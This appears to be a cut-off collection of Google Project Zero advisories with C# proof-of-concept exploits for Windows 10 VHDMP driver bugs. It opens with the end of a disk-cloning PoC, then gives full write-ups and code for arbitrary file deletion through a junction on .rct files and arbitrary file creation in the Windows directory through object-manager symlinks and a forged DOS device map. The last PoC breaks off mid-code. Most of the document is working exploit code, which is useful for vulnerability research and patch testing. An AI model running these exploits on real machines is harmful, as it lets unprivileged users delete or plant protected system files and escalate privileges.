            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }        
        
        static void Main(string[] args)
        {
            try
            {                
                if (args.Length < 2)
                {
                    Console.WriteLine(@"[USAGE]: poc output.vhdx driveno");
                    Console.WriteLine("Where driveno is one of the following indexes");
                    PrintPhysicalDisks();
                    Environment.Exit(1);
                }
                
                string vhd_path = Path.GetFullPath(args[0]);
                vhd_path = Path.ChangeExtension(vhd_path, ".vhdx");
                File.Delete(vhd_path);
                PhysicalDisk disk = GetPhysicalDisk(uint.Parse(args[1]));
                                
                Console.WriteLine("[INFO]: Creating VHD {0} from {1}", vhd_path, disk.Name);
                
                using (SafeFileHandle handle = CreateVHD(vhd_path, disk))
                {
                    Console.WriteLine("[SUCCESS]: Created clone of physical disk");
                }                
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=915

Windows: VHDMP ZwDeleteFile Arbitrary File Deletion EoP
Platform: Windows 10 10586 and 14393. No idea about 7 or 8.1 versions.
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t safely delete files leading to arbitrary file deletion which could result in EoP.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. There are numerous places where the driver calls ZwDeleteFile without specifying OBJ_FORCE_ACCESS_CHECK. This can be abused to delete any arbitrary file or directory on the filesystem by abusing symbolic links to redirect the delete file name to an arbitrary location. Also due to the behaviour of ZwDeleteFile we also don’t need to play games with the DosDevices directory or anything like that, the system call opens the target file without specifying FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE flags, this means it’s possible to use a mount point even to redirect to a file due to the way reparsing works in the kernel.

Some places where ZwDeleteFile is called (based on 10586 x64 vhdmp.sys) are:

VhdmpiDeleteRctFiles
VhdmpiCleanupFileWrapper
VhdmpiInitializeVhdSetExtract
VhdmpiCtCreateEnableTrackingRequest
VhdmpiMultiStageSwitchLogFile
VhdmpiApplySnapshot
And much much more.

You get the idea, as far as I can tell none of these calls actually pass OBJ_FORCE_ACCESS_CHECK flag so all would be vulnerable (assuming you can specify the filename suitably). Note this doesn’t need admin rights as we never mount the VHD. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.

While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will delete an arbitrary file specified on the command line. It abuses the fact that during VHD creation the kernel will delete the .rct/.mrt files (this limits the poc to Win10 only). So we drop a test.vhd.rct mount point pointing at the target into the same directory and call create.

1) Compile the C# source code file.
2) Execute the poc on Win 10 passing the path to the file to delete. It will check that the file is present and can’t be deleted.
3) It should print that it successfully deleted the file

Expected Result:
The target file isn’t deleted, the VHD creation fails.

Observed Result:
The target file is deleted.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DfscTest
{
    class Program
    {
        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;
            public uint PhysicalSectorSizeInBytes;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;
            // Version 2 on
            public OpenVirtualDiskFlag OpenFlags;
            public VirtualStorageType ParentVirtualStorageType;
            public VirtualStorageType SourceVirtualStorageType;
            public Guid ResiliencyGuid;
            // Version 3 on
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourceLimitPath;
            public VirtualStorageType BackingStorageType;
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        static SafeFileHandle CreateVHD(string path)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhd;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = 512;
            ps.MaximumSize = 100 * 1024 * 1024;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }
        
        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 1)
                {
                    Console.WriteLine(@"[USAGE]: poc file\to\delete");
                    Environment.Exit(1);
                }

                string delete_path = Path.GetFullPath(args[0]);

                if (!File.Exists(delete_path))
                {
                    Console.WriteLine("[ERROR]: Specify a valid file to delete");
                    Environment.Exit(1);
                }

                try
                {
                    File.Delete(delete_path);
                    Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete");
                    Environment.Exit(1);
                }
                catch
                {                    
                }

                string vhd_path = Path.GetFullPath("test.vhd");
                File.Delete(vhd_path);
                try
                {
                    Directory.Delete(vhd_path + ".rct");
                }
                catch
                {
                }

                Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
                string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]);
                ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline);
                start_info.UseShellExecute = false;

                Process p = Process.Start(start_info);
                p.WaitForExit();
                if (p.ExitCode != 0)
                {
                    Console.WriteLine("[ERROR]: Can't create symlink");
                    Environment.Exit(1);
                }
                
                using (SafeFileHandle handle = CreateVHD(vhd_path))
                {
                }

                if (File.Exists(delete_path))
                {
                    Console.WriteLine("[ERROR]: Didn't delete arbitrary file");
                }
                else
                {
                    Console.WriteLine("[SUCCESS]: Deleted arbitary file");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=914

Windows: VHDMP Arbitrary File Creation EoP
Platform: Windows 10 10586 and 14393. Unlikely to work on 7 or 8.1 as I think it’s new functionality
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t safely create files related to Resilient Change Tracking leading to arbitrary file overwrites under user control leading to EoP.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. In Windows 10 support was introduced for Resilient Change Tracking which adds a few new files ending with .rct and .mrt next to the root vhd. When you enable RCT on an existing VHD it creates the files if they’re not already present. Unfortunately it does it using ZwCreateFile (in VhdmpiCreateFileWithSameSecurity) and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As the location is entirely controlled by the user we can exploit this to get an arbitrary file create/overwrite, and the code as its name suggests will copy across the DACL from the parent VHD meaning we’ll always be able to access it.

Note this doesn’t need admin rights as we never mount the VHD, just set RCT. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. It will create abc.txt and xyz.txt inside the Windows directory which we normally can’t write to.

1) Compile the C# source code file.
2) Execute the poc passing the path
3) It should print that it successfully created a file

Expected Result:
Setting RCT fails.

Observed Result:
The user has created the files \Windows\abc.txt and \Windows\xyz.txt with a valid DACL for the user to modify the files. 
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Linq;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0020,
            MaximumAllowed = GenericAccessRights.MaximumAllowed
        };

        [Flags]
        public enum FileAccessRights : uint
        {
            None = 0,
            ReadData = 0x0001,
            WriteData = 0x0002,
            AppendData = 0x0004,
            ReadEa = 0x0008,
            WriteEa = 0x0010,
            Execute = 0x0020,
            DeleteChild = 0x0040,
            ReadAttributes = 0x0080,
            WriteAttributes = 0x0100,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtOpenFile(
            out IntPtr FileHandle,
            FileAccessRights DesiredAccess,
            ObjectAttributes ObjAttr,
            [In] [Out] IoStatus IoStatusBlock,
            ShareMode ShareAccess,
            FileOpenOptions OpenOptions);

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeHGlobalBuffer(int length)
              : this(Marshal.AllocHGlobal(length), length, true)
            {
            }

            public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
              : base(owns_handle)
            {
                Length = length;
                SetHandle(buffer);
            }

            public int Length
            {
                get; private set;
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.FreeHGlobal(handle);
                    handle = IntPtr.Zero;
                }
                return true;
            }
        }

        public class SafeStructureBuffer : SafeHGlobalBuffer
        {
            Type _type;

            public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
            {
                _type = value.GetType();
                Marshal.StructureToPtr(value, handle, false);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.DestroyStructure(handle, _type);
                }
                return base.ReleaseHandle();
            }
        }

        public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
        {
            public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
            {
            }

            public T Result
            {
                get
                {
                    if (IsInvalid)
                        throw new ObjectDisposedException("handle");

                    return Marshal.PtrToStructure<T>(handle);
                }
            }
        }

        public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
        {
            AttributeFlags flags = AttributeFlags.CaseInsensitive;
            if (inherit)
                flags |= AttributeFlags.Inherit;
            using (ObjectAttributes obja = new ObjectAttributes(name, flags))
            {
                IntPtr handle;
                IoStatus iostatus = new IoStatus();
                int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
                StatusToNtException(status);
                return new SafeFileHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtDeviceIoControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint IoControlCode,
          byte[] InputBuffer,
          int InputBufferLength,
          byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        public static extern int NtFsControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint FSControlCode,
          [In] byte[] InputBuffer,
          int InputBufferLength,
          [Out] byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        const int ProcessDeviceMap = 23;

        [DllImport("ntdll.dll")]
        static extern int NtSetInformationProcess(
            IntPtr ProcessHandle,
            int ProcessInformationClass,
            byte[] ProcessInformation,
            int ProcessInformationLength);

        static byte[] StructToBytes(object o)
        {
            int size = Marshal.SizeOf(o);
            IntPtr p = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.StructureToPtr(o, p, false);
                byte[] ret = new byte[size];
                Marshal.Copy(p, ret, 0, size);
                return ret;
            }
            finally
            {
                if (p != IntPtr.Zero)
                    Marshal.FreeHGlobal(p);
            }
        }

        static byte[] GetBytes(string s)
        {
            return Encoding.Unicode.GetBytes(s + "\0");
        }

        static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static SafeKernelObjectHandle OpenDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtCreateSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes,
            UnicodeString DestinationName
        );

        static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static void SetDosDirectory(SafeKernelObjectHandle directory)
        {
            IntPtr p = directory.DangerousGetHandle();
            byte[] data = null;
            if (IntPtr.Size == 4)
            {
                data = BitConverter.GetBytes(p.ToInt32());
            }
            else
            {
                data = BitConverter.GetBytes(p.ToInt64());
            }

            StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
        }

        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;
            public uint PhysicalSectorSizeInBytes;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;
            // Version 2 on
            public OpenVirtualDiskFlag OpenFlags;
            public VirtualStorageType ParentVirtualStorageType;
            public VirtualStorageType SourceVirtualStorageType;
            public Guid ResiliencyGuid;
            // Version 3 on
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourceLimitPath;
            public VirtualStorageType BackingStorageType;
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        static SafeFileHandle CreateVHD(string path)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhd;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = 512;
            ps.MaximumSize = 100 * 1024 * 1024;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }

        enum SetVirtualDiskInfoVersion
        {
            Unspecified = 0,
            ParentPath = 1,
            Identified = 2,
            ParentPathWithDepth = 3,
            PhysicalSectionSize = 4,
            VirtualDiskId = 5,
            ChangeTrackingState = 6,
            ParentLocator = 7,
        }        

        [StructLayout(LayoutKind.Sequential)]
        struct SetVirtualDiskInfo
        {
            public SetVirtualDiskInfoVersion Version;
            [MarshalAs(UnmanagedType.Bool)]
            public bool ChangeTrackingEnabled;
        }

        [DllImport("virtdisk.dll", CharSet = CharSet.Unicode)]
        static extern int SetVirtualDiskInformation(
            SafeFileHandle VirtualDiskHandle,
            ref SetVirtualDiskInfo VirtualDiskInfo
        );

        static List<SafeKernelObjectHandle> CreateChainForPath(string path)
        {
            string[] parts = path.Split('\\');
            List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();
            SafeKernelObjectHandle curr = CreateDirectory(null, null);
            ret.Add(curr);
            foreach (string part in parts)
            {
                curr = CreateDirectory(curr, part);
                ret.Add(curr);
            }

            return ret;
        }
        

        static void Main(string[] args)
        {
            try
            {
                string vhd_path = Path.GetFullPath("test.vhd");
                File.Delete(vhd_path);
                File.Delete(vhd_path + ".rct");
                File.Delete(vhd_path + ".mrt");

                Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
                
                List<SafeKernelObjectHandle> chain = CreateChainForPath(Path.GetDirectoryName(vhd_path));
                SafeKernelObjectHandle rct_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".rct", @"\SystemRoot\abc.txt");
                SafeKernelObjectHandle mrt_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".mrt", @"\SystemRoot\xyz.txt");

                using (SafeFileHandle handle = CreateVHD(vhd_path))
                {
                    // Write dummy files for when the kernel impersonates us (and kills the per-process device map)
                    File.WriteAllBytes(vhd_path + ".rct", new byte[0]);
                    File.WriteAllBytes(vhd_path + ".mrt", new byte[0]);
                    SetVirtualDiskInfo disk_info = new SetVirtualDiskInfo();
                    disk_info.Version = SetVirtualDiskInfoVersion.ChangeTrackingState;
                    disk_info.ChangeTrackingEnabled = true;
                    SetDosDirectory(chain.First());
                    int error = SetVirtualDiskInformation(handle, ref disk_info);
                    chain[1].Close();
                    if (error != 0)
                    {
                        throw new Win32Exception(error);
                    }
                }

